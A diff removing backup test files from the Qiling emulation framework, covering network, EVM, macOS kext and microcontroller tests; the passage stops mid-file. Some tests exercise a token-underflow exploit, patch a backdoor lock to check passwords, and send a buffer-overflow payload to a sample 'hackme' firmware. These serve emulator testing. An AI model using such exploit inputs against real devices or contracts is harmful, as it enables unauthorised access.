verbose=QL_VERBOSE.DEBUG) - ql.os.set_syscall("write", check_write, QL_INTERCEPT.ENTER) - ql.run() - - self.assertEqual("server send() 14 return 14.\n", ql.buf_out) - - del ql - - - def test_tcp_elf_linux_mips32eb(self): - ql = Qiling(["../examples/rootfs/mips32_linux/bin/mips32_tcp_test", "20005"], "../examples/rootfs/mips32_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) - ql.run() - del ql - - - def test_tcp_elf_linux_mips32el(self): - ql = Qiling(["../examples/rootfs/mips32el_linux/bin/mips32el_tcp_test", "20005"], "../examples/rootfs/mips32el_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) - ql.run() - del ql - - - def test_udp_elf_linux_x86(self): - def check_write(ql, write_fd, write_buf, write_count, *args, **kw): - try: - buf = ql.mem.read(write_buf, write_count) - buf = buf.decode() - if buf.startswith("server sendto()"): - ql.buf_out = buf - except: - pass - - ql = Qiling(["../examples/rootfs/x86_linux/bin/x86_udp_test", "20007"], "../examples/rootfs/x86_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) - ql.os.set_syscall("write", check_write, QL_INTERCEPT.ENTER) - ql.run() - - self.assertEqual("server sendto() 14 return 14.\n", ql.buf_out) - - del ql - - - def test_udp_elf_linux_x8664(self): - def check_write(ql, write_fd, write_buf, write_count, *args, **kw): - try: - buf = ql.mem.read(write_buf, write_count) - buf = buf.decode() - if buf.startswith("server sendto()"): - ql.buf_out = buf - except: - pass - - ql = Qiling(["../examples/rootfs/x8664_linux/bin/x8664_udp_test", "20008"], "../examples/rootfs/x8664_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) - ql.os.set_syscall("write", check_write, QL_INTERCEPT.ENTER) - ql.run() - - self.assertEqual("server sendto() 14 return 14.\n", ql.buf_out) - - del ql - - def test_udp_elf_linux_arm64(self): - def check_write(ql, write_fd, write_buf, write_count, *args, **kw): - try: - buf = ql.mem.read(write_buf, write_count) - buf = buf.decode() - if buf.startswith("server sendto()"): - ql.buf_out = buf - except: - pass - - ql = Qiling(["../examples/rootfs/arm64_linux/bin/arm64_udp_test", "20009"], "../examples/rootfs/arm64_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) - ql.os.set_syscall("write", check_write, QL_INTERCEPT.ENTER) - ql.run() - - self.assertEqual("server sendto() 14 return 14.\n", ql.buf_out) - - del ql - - def test_udp_elf_linux_armeb(self): - def check_write(ql, write_fd, write_buf, write_count, *args, **kw): - try: - buf = ql.mem.read(write_buf, write_count) - buf = buf.decode() - if buf.startswith("server sendto()"): - ql.buf_out = buf - except: - pass - - ql = Qiling(["../examples/rootfs/armeb_linux/bin/armeb_udp_test", "20010"], "../examples/rootfs/armeb_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) - ql.os.set_syscall("write", check_write, QL_INTERCEPT.ENTER) - ql.run() - - self.assertEqual("server sendto() 14 return 14.\n", ql.buf_out) - - del ql - - def test_http_elf_linux_x8664(self): - def picohttpd(): - ql = Qiling(["../examples/rootfs/x8664_linux/bin/picohttpd", "12911"], "../examples/rootfs/x8664_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) - ql.run() - - picohttpd_therad = threading.Thread(target=picohttpd, daemon=True) - picohttpd_therad.start() - - time.sleep(1) - - f = http.client.HTTPConnection('localhost', 12911, timeout=10) - f.request("GET", "/") - response = f.getresponse() - self.assertEqual("httpd_test_successful", response.read().decode()) - - def test_http_elf_linux_arm(self): - def picohttpd(): - ql = Qiling(["../examples/rootfs/arm_linux/bin/picohttpd", "12912"], "../examples/rootfs/arm_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) - ql.run() - - picohttpd_therad = threading.Thread(target=picohttpd, daemon=True) - picohttpd_therad.start() - - time.sleep(1) - - f = http.client.HTTPConnection('localhost', 12912, timeout=10) - f.request("GET", "/") - response = f.getresponse() - self.assertEqual("httpd_test_successful", response.read().decode()) - - def test_http_elf_linux_armeb(self): - def picohttpd(): - ql = Qiling(["../examples/rootfs/armeb_linux/bin/picohttpd", "12913"], "../examples/rootfs/armeb_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) - ql.run() - - picohttpd_thread = threading.Thread(target=picohttpd, daemon=True) - picohttpd_thread.start() - - time.sleep(1) - - with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: - s.connect(("localhost", 12913)) - s.sendall(b"GET / HTTP/1.1\r\nHost: 127.0.0.1:12913\r\nUser-Agent: curl/7.74.0\r\nAccept: */*\r\n\r\n") - data = s.recv(1024) - - res = data.decode("UTF-8",'replace') - self.assertIn("httpd_test_successful", res) - - -if __name__ == "__main__": - unittest.main() - - - - - diff --git a/tests/test_evm.py.orig b/tests/test_evm.py.orig deleted file mode 100644 index 4e8c1d4f9..000000000 --- a/tests/test_evm.py.orig +++ /dev/null @@ -1,156 +0,0 @@ -#!/usr/bin/env python3 - -import os, platform, sys, unittest - -sys.path.append("..") -from qiling import Qiling - -SECRET_KEY = os.environ.get('AM_I_IN_A_DOCKER_CONTAINER', False) - -if SECRET_KEY: - sys.exit(0) - -if platform.system() == "Darwin" and platform.machine() == "arm64": - sys.exit(0) - -# python 3.10 has not been supported yet in the latest blake2b-py release -if sys.version_info >= (3,10): - sys.exit(0) - - -class Checklist: - def __init__(self) -> None: - self.visited_hookcode = False - self.visited_hookinsn = False - self.visited_hookaddr = False - - -class EVMTest(unittest.TestCase): - def test_underflow_code(self): - ql = Qiling(code="0x6060604052341561000f57600080fd5b60405160208061031c833981016040528080519060200190919050508060018190556000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050610299806100836000396000f300606060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806318160ddd1461005c57806370a0823114610085578063a9059cbb146100d2575b600080fd5b341561006757600080fd5b61006f61012c565b6040518082815260200191505060405180910390f35b341561009057600080fd5b6100bc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610132565b6040518082815260200191505060405180910390f35b34156100dd57600080fd5b610112600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061017a565b604051808215151515815260200191505060405180910390f35b60015481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403101515156101cb57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060019050929150505600a165627a7a7230582098f1551a391a3e65b3ce45cfa2b3fa5f91eea9a3e7181a81454e025ea0d7151c0029",archtype="evm", verbose=4) - testcheck = Checklist() - argu = ql.arch.evm.abi.convert(['uint256'], [20]) - code = ql.code + argu - - user1 = ql.arch.evm.create_account(balance=100*10**18) - user2 = ql.arch.evm.create_account(balance=100*10**18) - c1 = ql.arch.evm.create_account() - - def hookcode_test(ql, *argv): - testcheck.visited_hookcode = True - - def hookinsn_test(ql, *argv): - testcheck.visited_hookinsn = True - - def hookaddr_test(ql, *argv): - testcheck.visited_hookaddr = True - - h0 = ql.hook_code(hookcode_test) - h1 = ql.hook_address(hookaddr_test, 10) - - # message1: deploy runtime code - msg0 = ql.arch.evm.create_message(user1, b'', code=code, contract_address=c1) - ql.run(code=msg0) - - ql.hook_del(h0) - ql.hook_del(h1) - h2 = ql.hook_insn(hookinsn_test, 'PUSH4') - - # # SMART CONTRACT DEPENDENT - message2: check balance of user1, should be 20 - def check_balance(sender, destination): - call_data = '0x70a08231'+ql.arch.evm.abi.convert(['address'], [sender]) - msg2 = ql.arch.evm.create_message(sender, destination, call_data) - return ql.run(code=msg2) - - result = check_balance(user1, c1) - print('\n\nuser1 balance =', int(result.output.hex()[2:], 16)) - ql.hook_del(h2) - - # SMART CONTRACT DEPENDENT - message3: transform 21 from user1 to user2 - call_data = '0xa9059cbb'+ ql.arch.evm.abi.convert(['address'], [user2]) + \ - ql.arch.evm.abi.convert(['uint256'], [21]) - msg1 = ql.arch.evm.create_message(user1, c1, call_data) - result = ql.run(code=msg1) - print('\n\nis success =', int(result.output.hex()[2:], 16)) - - # message4: check balance of user1, should be MAX - 1 - result = check_balance(user1, c1) - print('\n\nuser1 balance =', hex(int(result.output.hex()[2:], 16))) - - self.assertEqual(hex(int(result.output.hex()[2:], 16)), '0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff') - self.assertTrue(testcheck.visited_hookaddr) - self.assertTrue(testcheck.visited_hookcode) - self.assertTrue(testcheck.visited_hookinsn) - - def test_underflow_filename(self): - ql = Qiling(["../examples/rootfs/evm/Hexagon.hex"], archtype="evm", verbose=4) - - user1 = ql.arch.evm.create_account(balance=100*10**18) - user2 = ql.arch.evm.create_account(balance=100*10**18) - c1 = ql.arch.evm.create_account() - - def check_balance(sender, destination): - call_data = '0x70a08231'+ql.arch.evm.abi.convert(['address'], [sender]) - msg2 = ql.arch.evm.create_message(sender, destination, data=call_data) - return ql.run(code=msg2) - - # Deploy runtime code - msg0 = ql.arch.evm.create_message(user1, b'', contract_address=c1) - ql.run(code=msg0) - - # # SMART CONTRACT DEPENDENT: check balance of user1 - result = check_balance(user1, c1) - print('User1 balance =', int(result.output.hex()[2:], 16)) - - # # SMART CONTRACT DEPENDENT: transform from user1 to user2 - call_data = '0xa9059cbb'+ ql.arch.evm.abi.convert(['address'], [user2]) + \ - ql.arch.evm.abi.convert(['uint256'], [0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe]) - msg1 = ql.arch.evm.create_message(user1, c1, data=call_data) - result = ql.run(code=msg1) - if int(result.output.hex()[2:], 16) == 1: - print('User1 transfered Token to User1') - - # # SMART CONTRACT DEPENDENT: User1 balance underflow, MAX - 1 - result = check_balance(user1, c1) - self.assertEqual(int(result.output.hex()[2:], 16), 420000000000000) - - result = check_balance(user2, c1) - self.assertEqual(int(result.output.hex()[2:], 16), 452312848583266388373324160190187140051835877600158453279131187530910662654) - - def test_abi_encoding(self): - ql = Qiling(code="0x608060405234801561001057600080fd5b506101a4806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c8063ead710c414610030575b600080fd5b6100e96004803603602081101561004657600080fd5b810190808035906020019064010000000081111561006357600080fd5b82018360208201111561007557600080fd5b8035906020019184600183028401116401000000008311171561009757600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050610164565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561012957808201518184015260208101905061010e565b50505050905090810190601f1680156101565780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b606081905091905056fea2646970667358221220cf43353b75256fc42aaffd9632e06963c5c2aad72a91004bfd2f98cd56ae1a0c64736f6c63430006000033",archtype="evm", verbose=4) - - user1 = ql.arch.evm.create_account(balance=100*10**18) - c1 = ql.arch.evm.create_account() - - # Deploy runtime code - msg0 = ql.arch.evm.create_message(user1, b'', contract_address=c1) - ql.run(code=msg0) - - # # SMART CONTRACT DEPENDENT: transform from user1 to user2 - call_param = ['Hello World'] - call_data = ql.arch.evm.abi.encode_function_call('greet(string)', call_param) - - function_abi = { - 'name': 'greet', - 'type': 'function', - 'inputs': [{ - 'type': 'string', - 'name': '' - }] - } - call_data2 = ql.arch.evm.abi.encode_function_call_abi(function_abi, call_param) - call_data3 = '0xead710c4'+ ql.arch.evm.abi.convert(['string'], call_param) - - self.assertEqual(call_data, call_data2) - self.assertEqual(call_data, call_data3) - - msg1 = ql.arch.evm.create_message(user1, c1, data=call_data) - result = ql.run(code=msg1) - - result_data = ql.arch.evm.abi.decode_params(['string'], result.output) - self.assertEqual(call_param[0], result_data[0]) - - -if __name__ == "__main__": - unittest.main() \ No newline at end of file diff --git a/tests/test_macho.py.orig b/tests/test_macho.py.orig deleted file mode 100644 index ae766915c..000000000 --- a/tests/test_macho.py.orig +++ /dev/null @@ -1,23 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys, unittest -sys.path.append("..") - -from qiling import * -from qiling.exception import * -from qiling.const import QL_VERBOSE - -class MACHOTest(unittest.TestCase): - def test_macho_macos_x8664(self): - ql = Qiling(["../examples/rootfs/x8664_macos/bin/x8664_hello"], "../examples/rootfs/x8664_macos", verbose=QL_VERBOSE.DEBUG) - ql.run() - - def test_usercorn_x8664(self): - ql = Qiling(["../examples/rootfs/x8664_macos/bin/x8664_hello_usercorn"], "../examples/rootfs/x8664_macos", verbose=QL_VERBOSE.DEBUG) - ql.run() - -if __name__ == "__main__": - unittest.main() diff --git a/tests/test_macho_kext.py.orig b/tests/test_macho_kext.py.orig deleted file mode 100644 index 2bb23ccf2..000000000 --- a/tests/test_macho_kext.py.orig +++ /dev/null @@ -1,108 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - - -import os, sys, unittest -from pathlib import Path - -from unicorn import UcError - -sys.path.append("..") -from qiling import Qiling -from qiling.const import QL_INTERCEPT, QL_VERBOSE -from qiling.os.const import STRING -from qiling.os.macos.structs import * -from qiling.os.macos.fncc import macos_kernel_api - -IS_FAST_TEST = 'QL_FAST_TEST' in os.environ - -class MACHOTest(unittest.TestCase): - @unittest.skipIf(IS_FAST_TEST, 'fast test') - def test_macho_macos_superrootkit(self): - # https://developer.apple.com/download/more - # to download kernel.developmment - def ls(ql, path): - print("*"*80) - print("[ demigod ] Call /usr/bin/ls:") - getattr_addr = ql.os.heap.alloc(ctypes.sizeof(getattrlistbulk_args_t)) - alist_addr = ql.os.heap.alloc(ctypes.sizeof(attrlist_t)) - attrBufSize = 32768 - attrBuffer_addr = ql.os.heap.alloc(attrBufSize) - retval_addr = ql.os.heap.alloc(8) - - alist = attrlist_t(ql, alist_addr) - alist.bitmapcount = 5 - alist.reserved = 0 - alist.commonattr = 0x82079e0b - alist.volattr = 0 - alist.dirattr = 0 - alist.fileattr = 557 - alist.forkattr = 0 - alist.updateToMem() - - getattr_arg = getattrlistbulk_args_t(ql, getattr_addr) - getattr_arg.options = 8 - getattr_arg.dirfd = 5 - getattr_arg.alist = alist_addr - getattr_arg.attributeBuffer = attrBuffer_addr - getattr_arg.bufferSize = attrBufSize - getattr_arg.updateToMem() - - ql.os.ev_manager.add_process(1234, "ls") - ls = ql.os.ev_manager.proc_find(1234) - ql.os.ev_manager.map_fd[getattr_arg.dirfd] = Path(path) - ql.os.ev_manager.syscall(461, [ls.base, getattr_arg.base, retval_addr]) - - def hook_stop(ql): - ql.emu_stop() - - def my_onenter(ql, address, params): - print("\n") - print("=" * 40) - print(" Enter into my_onenter mode") - print("params: %s" % params) - print("=" * 40) - print("\n") - self.set_api_onenter = True - return address, params - - def my_onexit(ql, address, params, retval): - print("\n") - print("=" * 40) - print(" Enter into my_exit mode") - print("params: %s" % params) - print("=" * 40) - print("\n") - self.set_api_onexit = True - - @macos_kernel_api(passthru=True, params={ - "s": STRING, - }) - def my__strlen(ql, address, params): - self.set_api_strlen = True - return - - ql = Qiling(["../examples/rootfs/x8664_macos/kext/SuperRootkit.kext"], "../examples/rootfs/x8664_macos", verbose=QL_VERBOSE.DISASM) - ql.os.set_api("_ipf_addv4", my_onenter, QL_INTERCEPT.ENTER) - ql.os.set_api("_strncmp", my_onexit, QL_INTERCEPT.EXIT) - ql.os.set_api("_strlen", my__strlen) - ql.hook_address(hook_stop, 0xffffff8000854800) - - try: - ql.os.load_kext() - except UcError as e: - print("Load driver error: %s" % e) - sys.exit(-1) - - ql.os.ev_manager.add_process(1337, "agent") - ls(ql, ".") - - self.assertEqual(True, self.set_api_onenter) - self.assertEqual(True, self.set_api_onexit) - self.assertEqual(True, self.set_api_strlen) - del ql -if __name__ == "__main__": - unittest.main() - diff --git a/tests/test_mcu.py.orig b/tests/test_mcu.py.orig deleted file mode 100644 index 8fa7500e1..000000000 --- a/tests/test_mcu.py.orig +++ /dev/null @@ -1,445 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - - -import sys, unittest -sys.path.append("..") - -from qiling.core import Qiling -from qiling.const import QL_VERBOSE -from qiling.extensions.mcu.stm32f4 import stm32f407, stm32f411, stm32f429 -from qiling.extensions.mcu.stm32f1 import stm32f103 -from qiling.extensions.mcu.atmel import sam3x8e -from qiling.extensions.mcu.gd32vf1 import gd32vf103 - -class MCUTest(unittest.TestCase): - def test_mcu_led_stm32f411(self): - ql = Qiling(["../examples/rootfs/mcu/stm32f411/rand_blink.hex"], - archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DISASM) - - # Set verbose=QL_VERBOSE.DEFAULT to find warning - ql.run(count=1000) - - del ql - - def test_mcu_snapshot_stm32f411(self): - def create_qiling(): - ql = Qiling(["../examples/rootfs/mcu/stm32f411/hello_usart.hex"], - archtype="cortex_m", ostype="mcu", env=stm32f411) - - ql.hw.create('usart2') - ql.hw.create('rcc') - - return ql - - ql1 = create_qiling() - ql1.run(count=1500) - buf1 = ql1.hw.usart2.recv() - print('[1] Received from usart: ', buf1) - - snapshot = ql1.save(hw=True) - - ql2 = create_qiling() - ql2.restore(snapshot) - - ql2.run(count=500) - buf2 = ql2.hw.usart2.recv() - print('[2] Received from usart: ', buf2) - - self.assertEqual(buf1 + buf2, b'Hello USART\n') - - del ql1, ql2 - - def test_mcu_usart_input_stm32f411(self): - ql = Qiling(["../examples/rootfs/mcu/stm32f411/md5_server.hex"], - archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.OFF) - - ql.hw.create('usart2') - ql.hw.create('rcc') - - ql.run(count=1000) - - ql.hw.usart2.send(b'Hello\n') - ql.run(count=30000) - ql.hw.usart2.send(b'USART\n') - ql.run(count=30000) - ql.hw.usart2.send(b'Input\n') - ql.run(count=30000) - - buf = ql.hw.usart2.recv() - self.assertEqual(buf, b'8b1a9953c4611296a827abf8c47804d7\n2daeb613094400290a24fe5086c68f06\n324118a6721dd6b8a9b9f4e327df2bf5\n') - - del ql - - def test_mcu_patch_stm32f411(self): - ql = Qiling(["../examples/rootfs/mcu/stm32f411/patch_test.hex"], - archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DEFAULT) - - ql.hw.create('usart2') - ql.hw.create('rcc') - ql.hw.create('gpioa') - - ql.patch(0x80005CA, b'\x00\xBF') - ql.run(count=4000) - - del ql - - def test_mcu_freertos_stm32f411(self): - ql = Qiling(["../examples/rootfs/mcu/stm32f411/os-demo.elf"], - archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DISABLED) - - ql.hw.create('usart2') - ql.hw.create('rcc') - ql.hw.create('gpioa') - - count = 0 - def counter(): - nonlocal count - count += 1 - - ql.hw.gpioa.hook_set(5, counter) - - ql.hw.systick.ratio = 0xff - ql.run(count=100000) - - self.assertTrue(count >= 5) - self.assertTrue(ql.hw.usart2.recv().startswith(b'Free RTOS\n' * 5)) - - del ql - - def test_mcu_dma_stm32f411(self): - ql = Qiling(["../examples/rootfs/mcu/stm32f411/dma-clock.elf"], - archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DEFAULT) - - ql.hw.create('usart2') - ql.hw.create('dma1') - ql.hw.create('rcc') - - ql.run(count=200000) - buf = ql.hw.usart2.recv() - - ## check timestamp - tick = [int(x) for x in buf.split()] - for i in range(1, len(tick)): - assert(4 <= tick[i] - tick[i - 1] <= 6) - - del ql - - def test_mcu_i2c_stm32f411(self): - ql = Qiling(["../examples/rootfs/mcu/stm32f411/i2c-lcd.bin", 0x8000000], - archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DEFAULT) - - ql.hw.create('i2c1') - ql.hw.create('rcc') - ql.hw.create('gpioa') - ql.hw.create('gpiob') - - flag = False - def indicator(): - nonlocal flag - flag = True - - ql.hw.gpioa.hook_set(5, indicator) - - class LCD: - address = 0x3f << 1 - - def send(self, data): - pass - - def step(self): - pass - - ql.hw.i2c1.connect(LCD()) - ql.run(count=550000) - - self.assertTrue(flag) - - del ql - - def test_mcu_spi_stm32f411(self): - ql = Qiling(["../examples/rootfs/mcu/stm32f411/spi-test.bin", 0x8000000], - archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DEFAULT) - - ql.hw.create('spi1') - ql.hw.create('rcc') - ql.hw.create('usart2') - ql.hw.create('gpioa') - - ql.run(count=30000) - self.assertTrue(ql.hw.usart2.recv() == b'----------------SPI TEST----------------\najcmfoiblenhakdmgpjclfoibkengajd\nmfpicleohbkdngajcmfoiblenhakdmgp\njclfoibkengajdmfpicleohbkdngajcm\nfoiblenhakdmgpjclfoibkengajdmfpi\ncleohbkdngajcmfoiblenhakdmgpjclf\noibkenhajdmfpicleohbkdngajcmfpib\nlenhakdmgpjclfoibkenhajdmfpicleo\nhbkdngajcmfpiblenhakdmgpjclfoibk\n----------------TEST END----------------\n') - - del ql - - def test_mcu_led_rust_stm32f411(self): - ql = Qiling(["../examples/rootfs/mcu/stm32f411/led-rust.hex"], - archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DEFAULT) - - count = 0 - def counter(): - nonlocal count - count += 1 - - ql.hw.create('gpioa').hook_set(5, counter) - ql.hw.create('rcc') - - ql.run(count=1000) - self.assertTrue(count >= 5) - - del ql - - def test_mcu_hacklock_stm32f407(self): - def crack(passwd): - ql = Qiling(["../examples/rootfs/mcu/stm32f407/backdoorlock.hex"], - archtype="cortex_m", ostype="mcu", env=stm32f407, verbose=QL_VERBOSE.OFF) - - ql.hw.create('spi2') - ql.hw.create('gpioe') - ql.hw.create('gpiof') - ql.hw.create('usart1') - ql.hw.create('rcc') - - print('Testing passwd', passwd) - - ql.patch(0x8000238, b'\x00\xBF' * 4) - ql.patch(0x80031e4, b'\x00\xBF' * 11) - ql.patch(0x80032f8, b'\x00\xBF' * 13) - ql.patch(0x80013b8, b'\x00\xBF' * 10) - - ql.hw.usart1.send(passwd.encode() + b'\r') - - ql.hw.systick.set_ratio(400) - - ql.run(count=400000, end=0x8003225) - - return ql.arch.effective_pc == 0x8003225 - - self.assertTrue(crack('618618')) - self.assertTrue(crack('778899')) - self.assertFalse(crack('123456')) - - def test_mcu_tim_speed_stm32f411(self): - ql = Qiling(['../examples/rootfs/mcu/stm32f411/basic-timer.elf'], - archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DEFAULT) - - ql.hw.create('rcc') - ql.hw.create('flash interface') - ql.hw.create('pwr') - ql.hw.create('gpioa') - ql.hw.create('usart2') - ql.hw.create('tim1') - - - ql.hw.tim1.set_ratio(1500) - ql.run(count=2500) - - count = 0 - def counter(): - nonlocal count - count += 1 - - ql.hw.gpioa.hook_set(5, counter) - ql.run(count=10000) - count1 = count - count = 0 - - ql.hw.tim1.set_ratio(1400 * 2) - ql.run(count=10000) - count2 = count - count = 0 - - ql.hw.tim1.set_ratio(1600 // 2) - ql.run(count=10000) - count3 = count - count = 0 - - self.assertTrue(round(count2 / count1) == 2) - self.assertTrue(round(count1 / count3) == 2) - self.assertTrue(ql.hw.usart2.recv().startswith(b'hello\n')) - - def test_mcu_i2c_interrupt_stm32f411(self): - ql = Qiling(['../examples/rootfs/mcu/stm32f411/i2cit-lcd.elf'], - archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DEFAULT) - - ql.hw.create('i2c1') - ql.hw.create('rcc').watch() - ql.hw.create('gpioa') - ql.hw.create('gpiob') - - class LCD: - address = 0x3f << 1 - - def send(self, data): - pass - - def step(self): - pass - - lcd = LCD() - ql.hw.i2c1.connect(lcd) - - ql.hw.systick.set_ratio(100) - - delay_start = 0x8002936 - delay_end = 0x8002955 - def skip_delay(ql): - ql.arch.regs.pc = delay_end - - ql.hook_address(skip_delay, delay_start) - - ql.run(count=100000) - - del ql - - - def test_mcu_blink_gd32vf103(self): - ql = Qiling(['../examples/rootfs/mcu/gd32vf103/blink.hex'], archtype="riscv", - env=gd32vf103, ostype="mcu", verbose=QL_VERBOSE.DEFAULT) - - ql.hw.create('rcu') - ql.hw.create('gpioa') - ql.hw.create('gpioc').watch() - - delay_cycles_begin = 0x800015c - delay_cycles_end = 0x800018c - - def skip_delay(ql): - ql.arch.regs.pc = delay_cycles_end - - count = 0 - def counter(): - nonlocal count - count += 1 - - ql.hook_address(skip_delay, delay_cycles_begin) - ql.hw.gpioc.hook_set(13, counter) - ql.run(count=20000) - self.assertTrue(count > 350) - - del ql - - def test_mcu_crc_stm32f407(self): - ql = Qiling(["../examples/rootfs/mcu/stm32f407/ai-sine-test.elf"], - archtype="cortex_m", ostype="mcu", env=stm32f407, verbose=QL_VERBOSE.DEFAULT) - - ql.hw.create('rcc') - ql.hw.create('pwr') - ql.hw.create('flash interface') - ql.hw.create('gpioa') - ql.hw.create('gpiob') - ql.hw.create('gpiod') - ql.hw.create('spi1') - ql.hw.create('crc') - ql.hw.create('dbgmcu') - - flag = False - def indicator(ql): - nonlocal flag - ql.log.info('PA7 set') - flag = True - - ql.hw.gpioa.hook_set(7, indicator, ql) - ql.hw.systick.ratio = 1000 - - ql.run(count=600000) - self.assertTrue(flag) - - del ql - - def test_mcu_usart_stm32f103(self): - ql = Qiling(["../examples/rootfs/mcu/stm32f103/sctf2020-password-lock-plus.hex"], - archtype="cortex_m", ostype="mcu", env=stm32f103, verbose=QL_VERBOSE.DEFAULT) - - ql.hw.create('rcc') - ql.hw.create('flash interface') - ql.hw.create('exti') - ql.hw.create('usart1') - ql.hw.create('gpioa') - ql.hw.create('afio') - ql.hw.create('dma1').watch() - - data = [] - def gpio_set_cb(pin): - data.append(pin) - - ql.hw.gpioa.hook_set(1, gpio_set_cb, '1') - ql.hw.gpioa.hook_set(2, gpio_set_cb, '2') - ql.hw.gpioa.hook_set(3, gpio_set_cb, '3') - ql.hw.gpioa.hook_set(4, gpio_set_cb, '4') - - ql.run(count=400000) - - self.assertTrue((''.join(data)).find('1442413') != -1) - self.assertTrue(ql.hw.usart1.recv()[:23] == b'SCTF{that1s___r1ghtflag') - - del ql - - def test_mcu_serial_sam3x8e(self): - ql = Qiling(["../examples/rootfs/mcu/sam3x8e/serial.ino.hex"], - archtype="cortex_m", ostype="mcu", env=sam3x8e, verbose=QL_VERBOSE.DEFAULT) - - ql.hw.create('wdt') - ql.hw.create('efc0') - ql.hw.create('efc1') - ql.hw.create('pmc') - ql.hw.create('uotghs') - ql.hw.create('pioa') - ql.hw.create('piob') - ql.hw.create('pioc') - ql.hw.create('piod') - ql.hw.create('adc') - ql.hw.create('uart') - ql.hw.create('pdc_uart') - - ql.hw.systick.ratio = 1000 - ql.run(count=100000) - self.assertTrue(ql.hw.uart.recv().startswith(b'hello world\nhello world\n')) - - del ql - - def test_mcu_hackme_stm32f429(self): - ql = Qiling(["../examples/rootfs/mcu/stm32f429/bof.elf"], - archtype="cortex_m", env=stm32f429, ostype='mcu', verbose=QL_VERBOSE.DISABLED) - - ql.hw.create('rcc') - ql.hw.create('usart2') - ql.hw.create('usart3') - - snapshot = ql.save(hw=True) - - ql.restore(snapshot) - ql.hw.usart3.send(b'hbckme\nabc\n') - ql.run(count=20000) - - self.assertEqual(ql.hw.usart2.recv(), b'') - self.assertEqual(ql.hw.usart3.recv(), b'Wrong password!\n') - - ql.restore(snapshot) - ql.hw.usart3.send(b'hackme\naaaaaaaaaaaaaaaaaaaa\xa9\x05\n') - ql.run(count=40000) - - self.assertEqual(ql.hw.usart2.recv(), b'Nice Hack!\n') - self.assertEqual(ql.hw.usart3.recv(), b'Welcome to the world of Hacking!\naaaaaaaaaaaaaaaaaaaa\xa9\x05\n') - - def test_mcu_fastmode_stm32f429(self): - ql = Qiling(["../examples/rootfs/mcu/stm32f429/bof.elf"], - archtype="cortex_m", env=stm32f429, ostype='mcu', verbose=QL_VERBOSE.DEFAULT) - - ql.hw.create('rcc') - ql.hw.create('usart2') - ql.hw.create('usart3') - - ql.hw.usart3.send(b'hackme\naaaaaaaaaaaaaaaaaaaa\xa9\x05\n') - - ql.os.fast_mode = True - ql.run(timeout=400) - - self.assertEqual(ql.hw.usart2.recv(), b'Nice Hack!\n') - self.assertEqual(ql.hw.usart3.recv(), b'Welcome to the world of Hacking!\naaaaaaaaaaaaaaaaaaaa\xa9\x05\n') - - -if __name__ == "__main__": - unittest.main() - diff --git a/tests/test_pathutils.py.orig b/tests/test_pathutils.py.orig deleted file mode 100644 index de56694ed..000000000 --- a/tests/test_pathutils.py.orig +++ /dev/null @@ -1,180 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys, unittest -from pathlib import Path, PurePath, PurePosixPath, PureWindowsPath - -sys.path.append('..') -from qiling.const import QL_OS -from qiling.os.path import QlOsPath - -is_nt_host = PurePath() == PureWindowsPath() -is_posix_host = PurePath() == PurePosixPath() - -def realpath(path: PurePath) -> Path: - return Path(path).resolve() - -def nt_to_native(rootfs: str, cwd: str, path: str) -> str: - p = QlOsPath(rootfs, cwd, QL_OS.WINDOWS) - - return p.virtual_to_host_path(path) - -def posix_to_native(rootfs: str, cwd: str, path: str) -> str: - p = QlOsPath(rootfs, cwd, QL_OS.LINUX) - - return p.virtual_to_host_path(path) - - -class TestPathUtils(unittest.TestCase): - @unittest.skipUnless(is_posix_host, 'POSIX host only') - def test_convert_nt_to_posix(self): - rootfs = PurePosixPath(r'../examples/rootfs/x86_windows') - - expected = 